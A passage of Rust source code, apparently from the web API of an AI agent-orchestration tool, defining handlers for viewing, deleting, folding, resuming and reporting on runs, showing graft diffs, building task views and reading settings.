4486    advice_md: Option<AdviceMd>,
4487    /// One entry per candidate: the summary.
4488    candidate_summaries_md: Vec<Vec<md::Node>>,
4489    /// One entry per review round, in `reviews` order.
4490    reviews_md: Vec<RoundMd>,
4491}
4492
4493#[derive(Debug, Default, Serialize)]
4494struct AdviceMd {
4495    synthesis: Vec<md::Node>,
4496    /// One per record; empty for a seat with no proposal.
4497    approaches: Vec<Vec<md::Node>>,
4498}
4499
4500#[derive(Debug, Default, Serialize)]
4501struct RoundMd {
4502    /// One per reviewer record.
4503    reviewers: Vec<ReviewerMd>,
4504    /// One per `reconsideration` entry: the reason.
4505    reconsideration: Vec<Vec<md::Node>>,
4506    fix: Option<FixMd>,
4507}
4508
4509#[derive(Debug, Default, Serialize)]
4510struct ReviewerMd {
4511    summary: Vec<md::Node>,
4512    /// One per finding, in recorded order (not the display order).
4513    findings: Vec<Vec<md::Node>>,
4514}
4515
4516#[derive(Debug, Default, Serialize)]
4517struct FixMd {
4518    notes: Vec<md::Node>,
4519    /// One per rejection: the argument.
4520    rejected: Vec<Vec<md::Node>>,
4521}
4522
4523/// Parse a run's agent-written prose; a pure function of the state.
4524fn run_prose_md(state: &RunState) -> RunProseMd {
4525    let nodes = |t: &str| md::to_nodes(t, &md::ImageBase::None);
4526    RunProseMd {
4527        advice_md: state.advice.as_ref().map(|a| AdviceMd {
4528            synthesis: nodes(a.synthesis.as_deref().unwrap_or("")),
4529            approaches: a
4530                .records
4531                .iter()
4532                .map(|r| nodes(r.proposal.as_ref().map_or("", |p| p.approach.as_str())))
4533                .collect(),
4534        }),
4535        candidate_summaries_md: state.candidates.iter().map(|c| nodes(&c.summary)).collect(),
4536        reviews_md: state
4537            .reviews
4538            .iter()
4539            .map(|round| RoundMd {
4540                reviewers: round
4541                    .reviews
4542                    .iter()
4543                    .map(|rec| ReviewerMd {
4544                        summary: nodes(&rec.summary),
4545                        findings: rec.findings.iter().map(|f| nodes(&f.detail)).collect(),
4546                    })
4547                    .collect(),
4548                reconsideration: round
4549                    .reconsideration
4550                    .iter()
4551                    .map(|rv| nodes(&rv.reason))
4552                    .collect(),
4553                fix: round.fix.as_ref().map(|fix| FixMd {
4554                    notes: nodes(&fix.notes),
4555                    rejected: fix.rejected.iter().map(|r| nodes(&r.why)).collect(),
4556                }),
4557            })
4558            .collect(),
4559    }
4560}
4561
4562impl RunDetailView {
4563    fn of(
4564        state: RunState,
4565        waiting: bool,
4566        live: crate::run::Liveness,
4567        superseded_by: Option<String>,
4568        latest_attempt: Option<LatestAttempt>,
4569        task: Option<TaskRef>,
4570    ) -> Self {
4571        let display_status = run_display_status(&state, waiting, live);
4572        let stop_reason = crate::stop_reason::of(
4573            &state,
4574            latest_attempt.as_ref().map(|a| (a.id.as_str(), a.status)),
4575        );
4576        let badge_status = run_badge_status(&state, &display_status, live, superseded_by.is_some());
4577        Self {
4578            progress: crate::run_progress::build(&state, live, waiting),
4579            stop_reason,
4580            pass_views: state.passes.iter().map(|p| PassView::of(p, None)).collect(),
4581            instruction_md: md::to_nodes(&state.instruction, &md::ImageBase::None),
4582            prose_md: run_prose_md(&state),
4583            origin_label: crate::run::origin_label(state.origin.as_ref()),
4584            live,
4585            unmerged_by_design: state.unmerged_by_design(),
4586            waiting,
4587            display_status,
4588            badge_status,
4589            done: state.status.done(),
4590            superseded_by,
4591            latest_attempt,
4592            task,
4593            state,
4594        }
4595    }
4596}
4597
4598/// Core content needs neither the queue nor question/liveness evidence.
4599async fn run_core(
4600    State(ui): State<Arc<Ui>>,
4601    Path(id): Path<String>,
4602) -> ApiResult<Json<RunDetailView>> {
4603    blocking(move || {
4604        let id = resolve_run(&ui.runs, &id)?;
4605        let state = read_run(&ui.runs, &id)?;
4606        Ok(Json(RunDetailView::of(
4607            state,
4608            false,
4609            crate::run::Liveness::Unknown,
4610            None,
4611            None,
4612            None,
4613        )))
4614    })
4615    .await
4616}
4617
4618/// Lightweight observation: never replaces the evidence used by controls.
4619async fn run_progress(
4620    State(ui): State<Arc<Ui>>,
4621    Path(id): Path<String>,
4622) -> ApiResult<Json<serde_json::Value>> {
4623    blocking(move || {
4624        let id = resolve_run(&ui.runs, &id)?;
4625        let state = read_run(&ui.runs, &id)?;
4626        let live = state.liveness(crate::daemon::is_working_on(
4627            &ui.home,
4628            &id,
4629            Timestamp::now(),
4630        ));
4631        let waiting = !ui.questions.open_for(&id).is_empty();
4632        Ok(Json(serde_json::json!({
4633            "id": id, "updated_at": state.updated_at, "live": live,
4634            "observed_at": Timestamp::now(),
4635            "progress": crate::run_progress::build(&state, live, waiting),
4636        })))
4637    })
4638    .await
4639}
4640
4641async fn run_detail(
4642    State(ui): State<Arc<Ui>>,
4643    Path(id): Path<String>,
4644) -> ApiResult<Json<RunDetailView>> {
4645    blocking(move || {
4646        let id = resolve_run(&ui.runs, &id)?;
4647        let state = read_run(&ui.runs, &id)?;
4648        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4649        let live = state.liveness(daemon_claims);
4650        crate::queue::record_ids(ui.questions.root(), "json")?;
4651        let waiting = ui
4652            .questions
4653            .list()
4654            .iter()
4655            .any(|q| q.run == id && q.status.open());
4656        let max_attempts = daemon::Opts::default().max_attempts;
4657
4658        let matching_task = ui.find_task_for_run(&id)?;
4659
4660        let superseded_by = state
4661            .pr_taken_over_by
4662            .clone()
4663            .or_else(|| {
4664                matching_task
4665                    .as_ref()
4666                    .and_then(|t| t.successor_of(&id).cloned())
4667            })
4668            .as_deref()
4669            .map(crate::run::short_of)
4670            .map(str::to_owned);
4671
4672        // Best-effort: an unreadable head (mid-write, or deleted) just means
4673        // this run's own status stands on its own, same as no later attempt
4674        // existing at all.
4675        let latest_attempt = matching_task
4676            .as_ref()
4677            .and_then(|t| t.runs.last().filter(|last| **last != id).cloned())
4678            .and_then(|head_id| {
4679                read_run(&ui.runs, &head_id).ok().map(|head| LatestAttempt {
4680                    short: head.short().to_owned(),
4681                    resolved: matches!(head.status, RunStatus::Merged | RunStatus::Ready),
4682                    status: head.status,
4683                    done: head.status.done(),
4684                    id: head.id,
4685                })
4686            });
4687
4688        let task = matching_task
4689            .map(|t| task_outcome(&t, &id, max_attempts, |r| read_run(&ui.runs, r).ok()));
4690
4691        Ok(Json(RunDetailView::of(
4692            state,
4693            waiting,
4694            live,
4695            superseded_by,
4696            latest_attempt,
4697            task,
4698        )))
4699    })
4700    .await
4701}
4702
4703/// `DELETE /api/runs/{id}`.
4704///
4705/// Remove a finished, folded run directory along with its artifacts.
4706/// Running runs and runs with unfolded candidate worktrees/branches cannot be
4707/// deleted. This never touches git worktrees or branches - except for a run
4708/// whose state this build cannot read at all, where there is no candidate
4709/// list to check and the wholesale removal `magi fold` already uses for that
4710/// case is the only meaningful "delete".
4711async fn run_delete(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<StatusCode> {
4712    let (id, unreadable) = {
4713        let ui = Arc::clone(&ui);
4714        blocking(move || {
4715            let id = resolve_run(&ui.runs, &id)?;
4716            match read_run(&ui.runs, &id) {
4717                Ok(_) => {
4718                    // The record's locks and the guards are judged on what is
4719                    // read under them (`clean::delete_run`): a fold in progress
4720                    // refuses the deletion rather than racing it.
4721                    crate::clean::delete_run(&ui.home, &id, jiff::Timestamp::now()).map_err(
4722                        |e| match e.downcast_ref::<crate::clean::DeleteRefused>() {
4723                            Some(refused) => ApiError::conflict(refused.0.clone()),
4724                            None => ApiError::internal(format!("{e:#}")),
4725                        },
4726                    )?;
4727                    Ok((id, false))
4728                }
4729                Err(_) => {
4730                    // Unreadable: there is no candidate list to guard on, so
4731                    // a live daemon's claim is the only thing left to check -
4732                    // the same rule `run_fold` applies for the same reason.
4733                    if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4734                        return Err(ApiError::conflict(format!(
4735                            "run {id} is being worked on by a live daemon right now"
4736                        )));
4737                    }
4738                    Ok((id, true))
4739                }
4740            }
4741        })
4742        .await?
4743    };
4744    if unreadable {
4745        crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4746            .await
4747            .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4748    }
4749    let ui = Arc::clone(&ui);
4750    let done = id.clone();
4751    blocking(move || {
4752        // The agent that asked died with the run, so an open question would
4753        // keep asking the operator for a decision nobody can deliver.
4754        ui.questions.abandon_for_run(
4755            &done,
4756            &format!("run {done} was deleted, so nothing is waiting for this answer"),
4757        )?;
4758        Ok(())
4759    })
4760    .await?;
4761    Ok(StatusCode::NO_CONTENT)
4762}
4763
4764/// `POST /api/runs/{id}/fold`.
4765///
4766/// Remove a run's candidate worktrees and branches, keeping its record.
4767///
4768/// This exists because the deck answered "delete this run" with *"Candidates
4769/// must be folded before deleting. Run `magi fold` first."* — a phone being
4770/// told to open a terminal, in the one product whose point is that it does
4771/// not need one. The runs an operator most wants gone are the stalled and
4772/// blocked ones, and those are exactly the runs still holding worktrees:
4773/// three of them here held 53 GB.
4774///
4775/// The winner's tree goes too. A fold is what someone asks for when they are
4776/// finished with a run, and leaving one tree behind would leave the delete
4777/// button disabled for the same reason as before.
4778///
4779/// Refused while a live daemon is working on the run, on the rule that guards
4780/// deletion: folding underneath a running agent would pull the tree it is
4781/// editing out from under it.
4782///
4783/// A run whose state this build cannot read at all falls back to
4784/// [`crate::clean::fold_unreadable`] - there is no candidate list to fold
4785/// selectively, so the whole record's worktree goes wholesale, exactly what
4786/// `magi fold` does on the command line for the same run.
4787async fn run_fold(State(ui): State<Arc<Ui>>, Path(id): Path<String>) -> ApiResult<Json<FoldView>> {
4788    let (id, state) = {
4789        let ui = Arc::clone(&ui);
4790        blocking(move || {
4791            let id = resolve_run(&ui.runs, &id)?;
4792            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4793                return Err(ApiError::conflict(format!(
4794                    "run {id} is being worked on by a live daemon right now"
4795                )));
4796            }
4797            crate::clean::ensure_record_identity(&ui.runs, &id)
4798                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4799            let state = match read_run(&ui.runs, &id) {
4800                Ok(state) => {
4801                    state
4802                        .ensure_directory(&id)
4803                        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4804                    Some(state)
4805                }
4806                Err(_) => None,
4807            };
4808            Ok((id, state))
4809        })
4810        .await?
4811    };
4812    let removed = match state {
4813        Some(mut state) => {
4814            let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4815                .await
4816                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4817            // Nothing left to remove is not the same thing as nothing left to
4818            // do — see `clean::clear_abandoned_active`'s own doc for the run
4819            // this exists for: worktrees already gone, but a killed process
4820            // left active seats nobody will ever answer for.
4821            if removed.is_empty() {
4822                crate::clean::clear_abandoned_active(&mut state, &ui.home, jiff::Timestamp::now())
4823                    .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4824            }
4825            removed
4826        }
4827        None => crate::clean::fold_unreadable(&ui.runs, &ui.worktrees_root, &id)
4828            .await
4829            .map_err(|e| ApiError::internal(format!("{e:#}")))?,
4830    };
4831    Ok(Json(FoldView {
4832        run: id,
4833        removed_count: removed.len(),
4834        removed,
4835    }))
4836}
4837
4838/// What a fold took away, so the deck can say so rather than only re-render.
4839#[derive(Debug, Serialize)]
4840struct FoldView {
4841    run: String,
4842    /// Worktree paths and branch names removed, in the order they went.
4843    removed: Vec<String>,
4844    removed_count: usize,
4845}
4846
4847/// `POST /api/runs/{id}/fold-merged` body: the pull request the operator
4848/// merged outside of `land::land`'s own loop.
4849#[derive(Debug, Deserialize)]
4850struct FoldMergedBody {
4851    #[serde(default)]
4852    pr_url: String,
4853}
4854
4855/// `POST /api/runs/{id}/fold-merged`.
4856///
4857/// The phone-reachable form of `magi fold --merged <pr-url>`: a run stuck
4858/// `Blocked` with `merge: null` because magi never got as far as opening a
4859/// pull request of its own (a title over GitHub's length limit, `gh pr
4860/// create` unreachable, a stale token), which the operator then finished by
4861/// hand on a pull request magi never recorded. The "Run actions" sheet used
4862/// to have no way to tell it about that pull request short of a terminal and
4863/// `magi fold --merged` — see `land::correct_manual_merge`'s own doc for why
4864/// this exists and what it deliberately does not do (`bump::after_merge`).
4865///
4866/// Refused, like [`run_fold`], while a live daemon is working on the run: the
4867/// correction rewrites the same `status`/`merge` fields a running graph would
4868/// be writing to on its own.
4869///
4870/// Unlike [`run_resume`] this does not return 202: it makes at most two `gh`
4871/// calls plus a fold, seconds of work, and the phone should get its answer
4872/// (which pull request it recorded, and what changed) in the same round
4873/// trip rather than learning it from the change stream.
4874async fn run_fold_merged(
4875    State(ui): State<Arc<Ui>>,
4876    Path(id): Path<String>,
4877    Json(body): Json<FoldMergedBody>,
4878) -> ApiResult<Json<FoldMergedView>> {
4879    let pr_url = body.pr_url.trim().to_owned();
4880    if pr_url.is_empty() {
4881        return Err(ApiError::bad_request("pr_url is required"));
4882    }
4883    let (id, mut state) = {
4884        let ui = Arc::clone(&ui);
4885        blocking(move || {
4886            let id = resolve_run(&ui.runs, &id)?;
4887            if crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now()) {
4888                return Err(ApiError::conflict(format!(
4889                    "run {id} is being worked on by a live daemon right now"
4890                )));
4891            }
4892            let state = read_run(&ui.runs, &id)?;
4893            state
4894                .ensure_directory(&id)
4895                .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4896            Ok((id, state))
4897        })
4898        .await?
4899    };
4900    let (before, after) = crate::land::correct_manual_merge(&mut state, &pr_url)
4901        .await
4902        .map_err(|e| ApiError::bad_request(format!("{e:#}")))?;
4903    let removed = crate::graph::fold_run(&mut state, true, &ui.home)
4904        .await
4905        .map_err(|e| ApiError::internal(format!("{e:#}")))?;
4906    Ok(Json(FoldMergedView {
4907        run: id,
4908        before: before.as_str().to_owned(),
4909        after: after.as_str().to_owned(),
4910        removed,
4911    }))
4912}
4913
4914/// What [`run_fold_merged`] did, so the deck can say so.
4915#[derive(Debug, Serialize)]
4916struct FoldMergedView {
4917    run: String,
4918    /// `status` before the correction — normally `"blocked"`.
4919    before: String,
4920    /// `status` after — normally `"merged"`.
4921    after: String,
4922    /// Worktree paths and branch names the trailing fold removed.
4923    removed: Vec<String>,
4924}
4925
4926/// `POST /api/runs/{id}/resume`.
4927///
4928/// Carry a stalled run on from where it stopped, in the background.
4929///
4930/// A stalled card says "the work is kept" and used to offer no way to act on
4931/// that: the candidates are built and paid for, and continuing means re-asking
4932/// only the seats whose absence collapsed the panel. The alternative an
4933/// operator actually had was releasing the task, which competes three fresh
4934/// implementations against work that already exists.
4935///
4936/// **202, not 200.** A resume runs agents for minutes; holding the connection
4937/// is the mistake `POST /api/talks/{id}/say` already made and had fixed. The
4938/// phone learns the outcome from the change stream.
4939///
4940/// Refused when the loop is running at all, not merely when it is on this run.
4941/// The scarce resource is the agent CLIs' quota, and a tap that quietly
4942/// started a second graph on top of whatever the loop is already driving —
4943/// one run by default, or as many as `Config::daemon.max_concurrent_runs`
4944/// allows — would spend that quota twice over for no extra throughput.
4945async fn run_resume(
4946    State(ui): State<Arc<Ui>>,
4947    Path(id): Path<String>,
4948) -> ApiResult<(StatusCode, Json<RunSummary>)> {
4949    let admission = ui.begin_admission()?;
4950    admitted(admission, async move {
4951        let (id, state) = {
4952            let ui = Arc::clone(&ui);
4953            blocking(move || {
4954                let id = resolve_run(&ui.runs, &id)?;
4955                let state = read_run(&ui.runs, &id)?;
4956                Ok((id, state))
4957            })
4958            .await?
4959        };
4960        crate::resume::validate_unqueued(&ui.home, &id)
4961            .map_err(|e| ApiError::conflict(e.to_string()))?;
4962        let _resume = ui.begin_resume(&id)?;
4963
4964        crate::resume::start(&ui.home, id.clone())
4965            .await
4966            .map_err(ApiError::from)?;
4967        // The same shape the list route returns, so the phone updates the card it
4968        // already has rather than learning a second schema for one button.
4969        let queued = RunSummary::of(
4970            &state,
4971            !ui.questions.open_for(&id).is_empty(),
4972            state.liveness(daemon::is_working_on(&ui.home, &id, Timestamp::now())),
4973        );
4974        Ok((StatusCode::ACCEPTED, Json(queued)))
4975    })
4976    .await
4977}
4978
4979async fn run_report(
4980    State(ui): State<Arc<Ui>>,
4981    Path(id): Path<String>,
4982) -> ApiResult<impl IntoResponse> {
4983    let text = blocking(move || {
4984        let id = resolve_run(&ui.runs, &id)?;
4985        // Colour is off for the whole process, set once in `serve`. Rendering
4986        // is CPU work over the full state, which is the other reason this is
4987        // not on the executor.
4988        let state = read_run(&ui.runs, &id)?;
4989        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
4990        let live = state.liveness(daemon_claims);
4991        Ok(format!(
4992            "{}{}",
4993            report::run(&state),
4994            report::active_seats(&state, live)
4995        ))
4996    })
4997    .await?;
4998    Ok(([(header::CONTENT_TYPE, "text/plain; charset=utf-8")], text))
4999}
5000
5001/// The structured twin of [`run_report`]: the same state, as sections the UI
5002/// draws as cards. An unreadable run answers with the same error the text
5003/// route does; it is never turned into an empty report.
5004async fn run_report_json(
5005    State(ui): State<Arc<Ui>>,
5006    Path(id): Path<String>,
5007) -> ApiResult<Json<crate::report_view::RunReportView>> {
5008    let view = blocking(move || {
5009        let id = resolve_run(&ui.runs, &id)?;
5010        let state = read_run(&ui.runs, &id)?;
5011        let daemon_claims = crate::daemon::is_working_on(&ui.home, &id, jiff::Timestamp::now());
5012        // Only a record that lacks the structured details reads `artifacts/`.
5013        let recovered = state.graft.as_ref().map(|_| {
5014            crate::graft_report::recover(&state, &crate::agent::artifacts_dir(&state.dir()))
5015        });
5016        Ok(crate::report_view::build_with(
5017            &state,
5018            state.liveness(daemon_claims),
5019            recovered.as_ref(),
5020        ))
5021    })
5022    .await?;
5023    Ok(Json(view))
5024}
5025
5026/// Archive access uses validated run-owned records, never a request-supplied path.
5027async fn run_seat_evidence(
5028    State(ui): State<Arc<Ui>>,
5029    Path(id): Path<String>,
5030) -> ApiResult<impl IntoResponse> {
5031    let id = resolve_run(&ui.runs, &id)?;
5032    let heads = crate::retention::seat_heads(&ui.home, &id)
5033        .await
5034        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5035    Ok(Json(heads))
5036}
5037
5038async fn run_seat_diff(
5039    State(ui): State<Arc<Ui>>,
5040    Path((id, head)): Path<(String, String)>,
5041) -> ApiResult<impl IntoResponse> {
5042    let id = resolve_run(&ui.runs, &id)?;
5043    let patch = crate::retention::seat_diff(&ui.home, &id, &head)
5044        .await
5045        .map_err(|e| ApiError::not_found(format!("seat evidence unavailable: {e:#}")))?;
5046    Ok((
5047        [
5048            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5049            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5050        ],
5051        patch,
5052    ))
5053}
5054
5055/// Most of a graft diff the route returns.
5056const GRAFT_DIFF_MAX: usize = 400 * 1024;
5057/// How long `git diff` may run.
5058const GRAFT_DIFF_TIMEOUT: Duration = Duration::from_secs(15);
5059
5060/// The graft's own patch: recorded `pre` against recorded `post`. Both SHAs
5061/// come from the run record, never from the request.
5062async fn run_graft_diff(
5063    State(ui): State<Arc<Ui>>,
5064    Path(id): Path<String>,
5065) -> ApiResult<impl IntoResponse> {
5066    let (repo, pre, post) = blocking(move || {
5067        let id = resolve_run(&ui.runs, &id)?;
5068        let state = read_run(&ui.runs, &id)?;
5069        let g = state
5070            .graft
5071            .as_ref()
5072            .ok_or_else(|| ApiError::not_found("this run has no graft"))?;
5073        let post = g
5074            .post
5075            .clone()
5076            .ok_or_else(|| ApiError::not_found("the graft recorded no post-graft commit"))?;
5077        Ok((state.repo.clone(), g.pre.clone(), post))
5078    })
5079    .await?;
5080    let hex = |s: &str| (4..=64).contains(&s.len()) && s.chars().all(|c| c.is_ascii_hexdigit());
5081    if !hex(&pre) || !hex(&post) {
5082        return Err(ApiError::not_found("the recorded commits are not valid"));
5083    }
5084    let out = tokio::time::timeout(
5085        GRAFT_DIFF_TIMEOUT,
5086        crate::git::git_raw(
5087            &repo,
5088            &[
5089                "diff",
5090                "--no-color",
5091                "--no-ext-diff",
5092                "-M",
5093                &pre,
5094                &post,
5095                "--",
5096            ],
5097        ),
5098    )
5099    .await
5100    .map_err(|_| ApiError::not_found("git diff timed out"))?
5101    .map_err(|e| ApiError::not_found(format!("git diff failed: {e:#}")))?;
5102    if out.code != Some(0) {
5103        return Err(ApiError::not_found(
5104            "the recorded commits are no longer in the repository",
5105        ));
5106    }
5107    let mut body = out.stdout;
5108    if body.len() > GRAFT_DIFF_MAX {
5109        let mut cut = GRAFT_DIFF_MAX;
5110        while !body.is_char_boundary(cut) {
5111            cut -= 1;
5112        }
5113        body.truncate(cut);
5114        body.push_str("\n... diff truncated ...");
5115    }
5116    Ok((
5117        [
5118            (header::CONTENT_TYPE, "text/plain; charset=utf-8"),
5119            (header::X_CONTENT_TYPE_OPTIONS, "nosniff"),
5120        ],
5121        body,
5122    ))
5123}
5124
5125/// A task as the UI sees it.
5126///
5127/// The whole task, plus the two things the client would otherwise have to
5128/// reimplement: the human-readable source and the status string. Nothing is
5129/// removed - the phone shows `last_error` and the run history verbatim.
5130#[derive(Debug, Serialize)]
5131struct TaskView {
5132    #[serde(flatten)]
5133    task: Task,
5134    source_label: String,
5135    reassignment_notes: Vec<String>,
5136    source_link: Option<SourceLink>,
5137    status_str: &'static str,
5138    /// Fixed scheduling lane, ahead of ordinary priority order.
5139    upgrade_resume_at: Option<Timestamp>,
5140    /// The instruction, parsed as markdown, for the Queue card's "Full
5141    /// instruction" panel. `task.instruction` is unchanged and still carries
5142    /// the raw text.
5143    instruction_md: Vec<md::Node>,
5144    /// For a blocked task, what it waits on with each dependency's state, e.g.
5145    /// `4135 (blocked → 9db7 held)`. Built server-side so the client never
5146    /// recurses; empty for every other status.
5147    waits_on: Vec<String>,
5148    /// Short ids of the held (or cyclic) tasks a blocked task is frozen
5149    /// behind - non-empty means nothing in the loop will ever run it.
5150    stuck_roots: Vec<String>,
5151    blockers: Vec<crate::blockers::BlockerView>,
5152    recovery: Option<String>,
5153    /// Shared read-only admission status (configured mode, active reservation
5154    /// lane, and concrete non-concurrency or capacity blocker).
5155    #[serde(skip_serializing_if = "Option::is_none")]
5156    admission: Option<daemon::TaskAdmission>,
5157}
5158
5159impl From<Task> for TaskView {
5160    fn from(task: Task) -> Self {
5161        Self {
5162            source_label: task.source_label(),
5163            reassignment_notes: Vec::new(),
5164            source_link: source_link(&task.source),
5165            status_str: task.status.as_str(),
5166            upgrade_resume_at: task.upgrade_resume_key().map(|(at, _)| at),
5167            instruction_md: md::to_nodes(&task.instruction, &md::ImageBase::None),
5168            waits_on: Vec::new(),
5169            stuck_roots: Vec::new(),
5170            blockers: Vec::new(),
5171            recovery: task_recovery(&task),
5172            admission: None,
5173            task,
5174        }
5175    }
5176}
5177
5178impl TaskView {
5179    fn with_admission(
5180        mut self,
5181        snapshot: &daemon::AdmissionSnapshot,
5182        queue: &Queue,
5183        inv: Option<&crate::blockers::Inventory>,
5184        home: &std::path::Path,
5185    ) -> Self {
5186        self.admission = Some(snapshot.evaluate(&self.task, queue, inv, home));
5187        self
5188    }
5189
5190    fn with_recovery_decisions(mut self, questions: &ask::Questions) -> Self {
5191        if matches!(self.task.status, TaskStatus::Held | TaskStatus::Blocked) {
5192            let recovery = crate::triage::RecoveryIndex::load(questions);
5193            let pending = crate::blockers::Inventory::recovery_views(&self.task, &recovery);
5194            if !pending.is_empty() {
5195                self.recovery = Some(format!(
5196                    "Recovery decisions are pending. Resolve or apply them through the existing controls below before triage can reconsider recovery. Disk recovery alone will not resume this task. {}",
5197                    self.recovery.as_deref().unwrap_or_default()
5198                ));
5199            }
5200            for decision in pending {
5201                self.blockers.retain(|view| view.id != decision.id);
5202                self.blockers.push(decision);
5203            }
5204        }
5205        self
5206    }
5207
5208    fn with_inventory(task: Task, inv: &crate::blockers::Inventory) -> Self {
5209        let waits_on = inv.waits_on(&task);
5210        let stuck_roots = inv
5211            .stuck_roots(&task)
5212            .iter()
5213            .map(|r| r.rsplit('-').next().unwrap_or(r).to_owned())
5214            .collect();
5215        Self {
5216            blockers: inv.blocker_views(&task),
5217            waits_on,
5218            stuck_roots,
5219            ..Self::from(task)
5220        }
5221    }
5222}
5223
5224fn task_recovery(task: &Task) -> Option<String> {
5225    use crate::queue::{HoldSource, TaskStatus};
5226    if !matches!(task.status, TaskStatus::Blocked | TaskStatus::Held) {
5227        return None;
5228    }
5229    let mut text = String::new();
5230    if task.status == TaskStatus::Blocked {
5231        text.push_str("Resolve each dependency below through its supported controls. Hold overrides this dependency wait and clears its dependency references. A later Release can queue the task even if those dependencies are unfinished; Hold does not resolve them. ");
5232        let restored = match task.blocked_from {
5233            Some(TaskStatus::Running) => TaskStatus::Queued,
5234            Some(status) => status,
5235            None if task.hold_reason.is_some() || task.hold_source.is_some() => TaskStatus::Held,
5236            None => TaskStatus::Queued,
5237        };
5238        text.push_str(&format!(
5239            "After all dependencies resolve, the scheduler restores {}. ",
5240            restored.as_str()
5241        ));
5242        if restored != TaskStatus::Held {
5243            return Some(text);
5244        }
5245    }
5246    text.push_str(match task.hold_source {
5247        Some(HoldSource::Manual) => "Manual hold: an operator must explicitly Release when ready.",
5248        Some(HoldSource::Machine) if task.has_disk_capacity_cause() || crate::triage::disk_wait_eligible(task) =>
5249            "Disk wait (automatically monitored): the same task resumes when disk floors and output reservations permit. Recorded figures describe the hold time, not current capacity; triage rechecks admission automatically. Untouched automatic disk triage questions are superseded without an owner answer; owner decisions and unrelated approvals still require explicit resolution.",
5250        Some(HoldSource::Machine) => "Machine hold: triage rechecks supported recovery conditions; otherwise resolve the recovery decision in the owning task chat.",
5251        None => "Hold origin unknown: inspect the recorded reason and task chat before explicitly releasing.",
5252    });
5253    Some(text)
5254}
5255
5256/// `?refresh=1` forces a re-scan even inside the TTL. Any other value, or
5257/// its absence, leaves the cache to decide.
5258#[derive(Debug, Default, Deserialize)]
5259#[serde(default)]
5260struct ReposQuery {
5261    refresh: u8,
5262}
5263
5264/// `GET /api/repos` - local checkouts found under `[repos] roots`, the same
5265/// listing `magi repos` prints at a terminal.
5266///
5267/// Reads `[repos] roots` and `[repos] scan_ttl` discovered against `ui.repo`
5268/// so an edit to `magi.toml` takes effect without a restart, the same
5269/// reasoning [`config_for`] documents for the talk routes.
5270async fn repos_list(
5271    State(ui): State<Arc<Ui>>,
5272    Query(q): Query<ReposQuery>,
5273) -> ApiResult<Json<Vec<repos::Repo>>> {
5274    let refresh = q.refresh != 0;
5275    blocking(move || {
5276        let (cfg, _) = Config::discover(&ui.repo, None)?;
5277        Ok(Json(ui.repos_cache.list(
5278            &cfg.repos.roots,
5279            Duration::from_secs(cfg.repos.scan_ttl),
5280            refresh,
5281        )))
5282    })
5283    .await
5284}
5285
5286/// Optional context, restricted to the server's known checkouts.
5287#[derive(Debug, Default, Deserialize)]
5288struct SettingsQuery {
5289    repo: Option<PathBuf>,
5290}
5291
5292/// Always discover against the server's original context, never the selection.
5293/// If that config is broken, retain the default context and machine-only roots
5294/// so the settings error contract and recovery picker remain available.
5295fn settings_repositories(ui: &Ui, refresh: bool) -> Vec<repos::Repo> {
5296    let cfg = settings::repository_config(&ui.repo, ui.machine_config.as_deref()).or_else(|_| {
5297        let paths: Vec<PathBuf> = ui
5298            .machine_config
5299            .iter()
5300            .filter(|p| p.is_file())
5301            .cloned()
5302            .collect();
5303        if paths.is_empty() {
5304            Ok(Config::autodetected())
5305        } else {
5306            Config::load_layers(&paths)
5307        }
5308    });
5309    let mut known = cfg
5310        .map(|cfg| {
5311            ui.repos_cache.list(
5312                &cfg.repos.roots,
5313                Duration::from_secs(cfg.repos.scan_ttl),
5314                refresh,
5315            )
5316        })
5317        .unwrap_or_default();
5318    let path = ui.repo.canonicalize().unwrap_or_else(|_| ui.repo.clone());
5319    if !known.iter().any(|r| r.path == path) {
5320        known.push(repos::Repo {
5321            name: path
5322                .file_name()
5323                .unwrap_or_default()
5324                .to_string_lossy()
5325                .into_owned(),
5326            path,
5327        });
5328    }
5329    known
5330}
5331
5332fn settings_context(ui: &Ui, q: SettingsQuery) -> ApiResult<(PathBuf, Vec<repos::Repo>)> {
5333    let requested = q.repo.unwrap_or_else(|| ui.repo.clone());
5334    let canonical = requested.canonicalize().ok();
5335    let mut known = settings_repositories(ui, false);
5336    let matches = |r: &repos::Repo| canonical.as_ref().is_some_and(|p| p == &r.path);
5337    if !known.iter().any(matches) {
5338        known = settings_repositories(ui, true);
5339    }
5340    let repo = known
5341        .iter()
5342        .find(|r| matches(r))
5343        .map(|r| r.path.clone())
5344        .ok_or_else(|| ApiError {
5345            text_reason: None,
5346            status: StatusCode::UNPROCESSABLE_ENTITY,
5347            message: "Choose a known repository from the Settings selector.".to_owned(),
5348        })?;
5349    Ok((repo, known))
5350}
5351
5352/// `GET /api/settings` - the effective role assignments and roster, with the
5353/// layer each came from. A config that fails to load answers 200 with an
5354/// `error`, so the screen can say so instead of drawing empty lists.
5355async fn settings_get(
5356    State(ui): State<Arc<Ui>>,
5357    Query(q): Query<SettingsQuery>,
5358) -> ApiResult<Json<settings::SettingsView>> {
5359    blocking(move || {
5360        let (repo, known) = settings_context(&ui, q)?;
5361        Ok(Json(settings::view_with_repos(
5362            &repo,
5363            ui.machine_config.as_deref(),
5364            &known,
5365        )))
5366    })
5367    .await
5368}
5369
5370/// The body of `PUT /api/settings/roles`.
5371#[derive(Debug, Deserialize)]
5372#[serde(deny_unknown_fields)]
5373struct RolesBody {
5374    /// The `revision` the client last read.
5375    revision: String,
5376    /// Role key to its new ids; an empty list resets the key to its default.
5377    #[serde(default)]
5378    roles: std::collections::BTreeMap<String, Vec<String>>,
